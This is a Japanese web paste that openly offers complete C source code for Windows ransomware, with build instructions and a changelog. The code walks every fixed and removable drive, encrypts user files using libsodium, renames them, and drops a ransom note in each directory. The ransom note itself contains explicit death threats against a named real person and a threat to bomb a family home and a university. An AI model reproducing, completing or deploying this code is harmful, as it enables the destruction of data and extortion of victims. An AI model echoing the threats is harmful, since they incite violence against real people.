カランサムウェアのソースコード v2
https://beast-note.yajuvideo.in/text_contents/003cbcd7-9a56-40f8-92b6-69fdf1240065
これの恒心版
- CLIからビルドする際にSODIUM_STATICが必要なのを忘れていたのを修正
- ランサムノート(脅迫文)を各ディレクトリにドロップするように追加
- マルチバイト文字(英語でない文字)の処理をwchar_t任せに変更
- 恥ずかしすぎる誤字を修正(EXTENTION->EXTENSION)
- 脅迫文に私怨を追加
- #define _CRT_SECURE_NO_WARNINGS
- #define SODIUM_STATIC
- #include <sodium.h>
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdbool.h>
- /*
- ビルド方法
- ビルドツールのダウンロード
- https://visualstudio.microsoft.com/downloads/?q=build+tools
- ライブラリのダウンロード、Cドライブに展開
- https://download.libsodium.org/libsodium/releases/libsodium-1.0.19-msvc.zip
- ECC(Curve25519)の鍵ペアを生成し、PUBLIC_KEYに公開鍵を挿入♂
- Visual Studio Developer Command Promptで以下を実行
- cl /std:c11 /O2 /MT main.c /I"C:\libsodium\include" /link /LIBPATH:"C:\libsodium\lib\x64\Release\v143\static" libsodium.lib libcmt.lib libvcruntime.lib libucrt.lib
- 改造方法
- 暗号化後の拡張子を変更するにはEXTENSIONを変更
- 脅迫文の内容を変更するにはREADMEを変更
- */
- #define EXTENSION L".krsw"
- static const unsigned char README[] =
- "唐澤貴洋殺す\n"
- "何が何でも殺す\n"
- "ナイフで滅多刺しにして殺す\n"
- "114514コインで8100万円以上稼いだ脱税詐欺師かえでゲームスの実家と九州大学にガス缶爆弾置いて爆破する\n";
- //↑末尾にセミコロン忘れずに
- static const unsigned char PUBLIC_KEY[crypto_scalarmult_BYTES] = {
- 0x01, 0x02, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
- };
- #define MAX_PATH_LEN 32768
- #define BUFFER_SIZE 0x400E
- #define MAX_FILE_SIZE (1024 * 1024 * 1024)
- #define STACK_SIZE (8 * 1024 * 1024)
- unsigned char SHARED_KEY[crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
- unsigned char VICTIM_PUBLIC_KEY[crypto_scalarmult_BYTES];
- struct RingBuffer {
- wchar_t paths[BUFFER_SIZE][MAX_PATH_LEN];
- volatile LONG64 head;
- volatile LONG64 tail;
- volatile LONG64 count;
- volatile LONG finished;
- };
- void buffer_init(struct RingBuffer* buf) {
- buf->head = buf->tail = buf->count = buf->finished = 0;
- }
- bool buffer_push(struct RingBuffer* buf, const wchar_t* path) {
- if (InterlockedCompareExchange64(&buf->count, 0, 0) >= BUFFER_SIZE) {
- return false;
- }
- LONG64 head, next;
- do {
- head = InterlockedCompareExchange64(&buf->head, 0, 0);
- next = (head + 1) % BUFFER_SIZE;
- } while (InterlockedCompareExchange64(&buf->head, next, head) != head);
- wcsncpy(buf->paths[head], path, MAX_PATH_LEN - 1);
- buf->paths[head][MAX_PATH_LEN - 1] = L'\0';
- InterlockedIncrement64(&buf->count);
- return true;
- }
- bool buffer_pop(struct RingBuffer* buf, wchar_t* path) {
- if (InterlockedCompareExchange64(&buf->count, 0, 0) == 0) {
- return false;
- }
- LONG64 tail, next;
- do {
- tail = InterlockedCompareExchange64(&buf->tail, 0, 0);
- next = (tail + 1) % BUFFER_SIZE;
- } while (InterlockedCompareExchange64(&buf->tail, next, tail) != tail);
- wcsncpy(path, buf->paths[tail], MAX_PATH_LEN);
- InterlockedDecrement64(&buf->count);
- return true;
- }
- bool buffer_is_done(struct RingBuffer* buf) {
- return InterlockedCompareExchange(&buf->finished, 0, 0) && InterlockedCompareExchange64(&buf->count, 0, 0) == 0;
- }
- bool should_skip_directory_w(const wchar_t* path) {
- static const wchar_t* patterns[] = {
- L"Windows",
- L"Program Files",
- L"Program Files (x86)",
- L"ProgramData",
- L"All Users"
- L"$Recycle.Bin",
- L"System Volume Information",
- L"Recovery",
- L"Boot",
- L"EFI",
- L"AppData",
- NULL
- };
- for (int i = 0; patterns[i]; i++) {
- if (wcsstr(path, patterns[i])) {
- return true;
- }
- }
- return false;
- }
- bool should_skip_file_w(const wchar_t* path) {
- static const wchar_t* exts[] = {
- EXTENSION,
- L".exe",
- L".dll",
- L".sys",
- L".efi",
- L".drv",
- L".ocx",
- L".scr",
- L".cpl",
- L".msi",
- L".msp",
- L".msu",
- L".cab",
- L".inf",
- L".cat",
- L".mui",
- L".ini",
- L".cfg",
- L".config",
- L".dat",
- NULL
- };
- static const wchar_t* files[] = {
- L"HOW_TO_RECOVER_MY_FILES.txt",
- L"bootmgr",
- L"NTLDR",
- L"ntoskrnl.exe",
- L"bootsect.bak",
- NULL
- };
- wchar_t* ext = wcsrchr(path, L'.');
- if (ext) {
- for (int i = 0; exts[i]; i++) {
- if (_wcsicmp(ext, exts[i]) == 0) {
- return true;
- }
- }
- }
- wchar_t* filename = wcsrchr(path, L'\\');
- filename = filename ? filename + 1 : (wchar_t*)path;
- for (int i = 0; files[i]; i++) {
- if (_wcsicmp(filename, files[i]) == 0) {
- return true;
- }
- }
- return false;
- }
- void enumerate_directory(struct RingBuffer* buf, const wchar_t* path, int depth) {
- if (depth > 50 || should_skip_directory_w(path)) {
- return;
- }
- wchar_t *search = malloc(MAX_PATH_LEN * sizeof(wchar_t));
- wchar_t *full = malloc(MAX_PATH_LEN * sizeof(wchar_t));
- if (!search || !full) {
- free(search);
- free(full);
- return;
- }
- if (swprintf(search, MAX_PATH_LEN, L"%s\\*", path) < 0) {
- free(search);
- free(full);
- return;
- }
- WIN32_FIND_DATAW fd;
- HANDLE h = FindFirstFileW(search, &fd);
- if (h == INVALID_HANDLE_VALUE) {
- free(search);
- free(full);
- return;
- }
- do {
- if (!wcscmp(fd.cFileName, L".") || !wcscmp(fd.cFileName, L"..")) {
- continue;
- }
- if (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) {
- continue;
- }
- if (swprintf(full, MAX_PATH_LEN, L"%s\\%s", path, fd.cFileName) < 0) {
- continue;
- }
- if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
- if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) && !should_skip_directory_w(full)) {
- WCHAR note_path[MAX_PATH];
- if (swprintf(note_path, MAX_PATH, L"%s\\HOW_TO_RECOVER_MY_FILES.txt", full) >= 0) {
- HANDLE note = CreateFileW(note_path, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_NEW, 0, 0);
- if (note != INVALID_HANDLE_VALUE) {
- DWORD bw;
- WriteFile(note, README, lstrlenA(README), &bw, 0);
- CloseHandle(note);
- }
- }
- enumerate_directory(buf, full, depth + 1);
- }
- } else {
- if (!should_skip_file_w(full)) {
- while (!buffer_push(buf, full)) Sleep(1);
- }
- }
- } while (FindNextFileW(h, &fd));
- FindClose(h);
- free(search);
- free(full);
- }
- DWORD WINAPI enumerate_thread(LPVOID param) {
- struct RingBuffer* buf = param;
- DWORD drives = GetLogicalDrives();
- for (int i = 0; i < 26; i++) {
- if (drives & (1 << i)) {
- wchar_t drive[4];
- swprintf(drive, 4, L"%c:\\", L'A' + i);
- UINT type = GetDriveTypeW(drive);
- if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
- enumerate_directory(buf, drive, 0);
- }
- }
- }
- InterlockedExchange(&buf->finished, 1);
- return 0;
- }
- void encrypt_file(const wchar_t* wpath) {
- if (should_skip_file_w(wpath)) {
- return;
- }
- FILE* f = _wfopen(wpath, L"rb");
- if (!f) {
- return;
- }
- fseek(f, 0, SEEK_END);
- long size = ftell(f);
- fseek(f, 0, SEEK_SET);
- if (size <= 0) {
- fclose(f);
- return;
- }
- if (size > MAX_FILE_SIZE) {
- fclose(f);
- return;
- }
- unsigned char *plain = malloc(size);
- unsigned char *cipher = malloc(size + crypto_aead_xchacha20poly1305_ietf_ABYTES);
- if (!plain || !cipher) {
- free(plain);
- free(cipher);
- fclose(f);
- return;
- }
- if (fread(plain, 1, size, f) != size) {
- free(plain);
- free(cipher);
- fclose(f);
- return;
- }
- fclose(f);
- unsigned char nonce[crypto_aead_xchacha20poly1305_ietf_NPUBBYTES];
- randombytes_buf(nonce, sizeof(nonce));
- unsigned long long clen;
- crypto_aead_xchacha20poly1305_ietf_encrypt(cipher, &clen, plain, size, NULL, 0, NULL, nonce, SHARED_KEY);
- unsigned char ekey[crypto_box_SEALBYTES + crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
- crypto_box_seal(ekey, SHARED_KEY, sizeof(SHARED_KEY), PUBLIC_KEY);
- f = _wfopen(wpath, L"wb");
- if (f) {
- fwrite(cipher, 1, clen, f);
- fwrite(nonce, 1, sizeof(nonce), f);
- fwrite(VICTIM_PUBLIC_KEY, 1, crypto_scalarmult_BYTES, f);
- fwrite(ekey, 1, sizeof(ekey), f);
- fclose(f);
- wchar_t enc[MAX_PATH_LEN];
- swprintf(enc, MAX_PATH_LEN, L"%s%s", wpath, EXTENSION);
- MoveFileW(wpath, enc);
- }
- free(plain);
- free(cipher);
- }
- DWORD WINAPI encrypt_thread(LPVOID param) {
- struct RingBuffer* buf = param;
- wchar_t path[MAX_PATH_LEN];
- while (1) {
- if (buffer_pop(buf, path)) {
- encrypt_file(path);
- } else if (buffer_is_done(buf)) {
- break;
- } else {
- Sleep(1);
- }
- }
- return 0;
- }
- int main(void) {
- if (sodium_init() < 0) {
- return 1;
- }
- unsigned char secret[crypto_scalarmult_BYTES];
- randombytes_buf(secret, sizeof(secret));
- crypto_scalarmult_base(VICTIM_PUBLIC_KEY, secret);
- unsigned char shared[crypto_scalarmult_BYTES];
- if (crypto_scalarmult(shared, secret, PUBLIC_KEY) != 0) {
- return 1;
- }
- crypto_generichash(SHARED_KEY, sizeof(SHARED_KEY), shared, sizeof(shared), NULL, 0);
- SYSTEM_INFO si;
- GetSystemInfo(&si);
- struct RingBuffer* buf = malloc(sizeof(struct RingBuffer));
- if (!buf) {
- return 1;
- }
- buffer_init(buf);
- HANDLE et = CreateThread(NULL, STACK_SIZE, enumerate_thread, buf, 0, NULL);
- if (!et) {
- free(buf);
- return 1;
- }
- HANDLE* ht = malloc(sizeof(HANDLE) * si.dwNumberOfProcessors);
- if (!ht) {
- CloseHandle(et);
- free(buf);
- return 1;
- }
- for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
- ht[i] = CreateThread(NULL, 0, encrypt_thread, buf, 0, NULL);
- }
- WaitForMultipleObjects(si.dwNumberOfProcessors, ht, TRUE, INFINITE);
- WaitForSingleObject(et, INFINITE);
- CloseHandle(et);
- for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
- CloseHandle(ht[i]);
- }
- free(ht);
- free(buf);
- return 0;
- }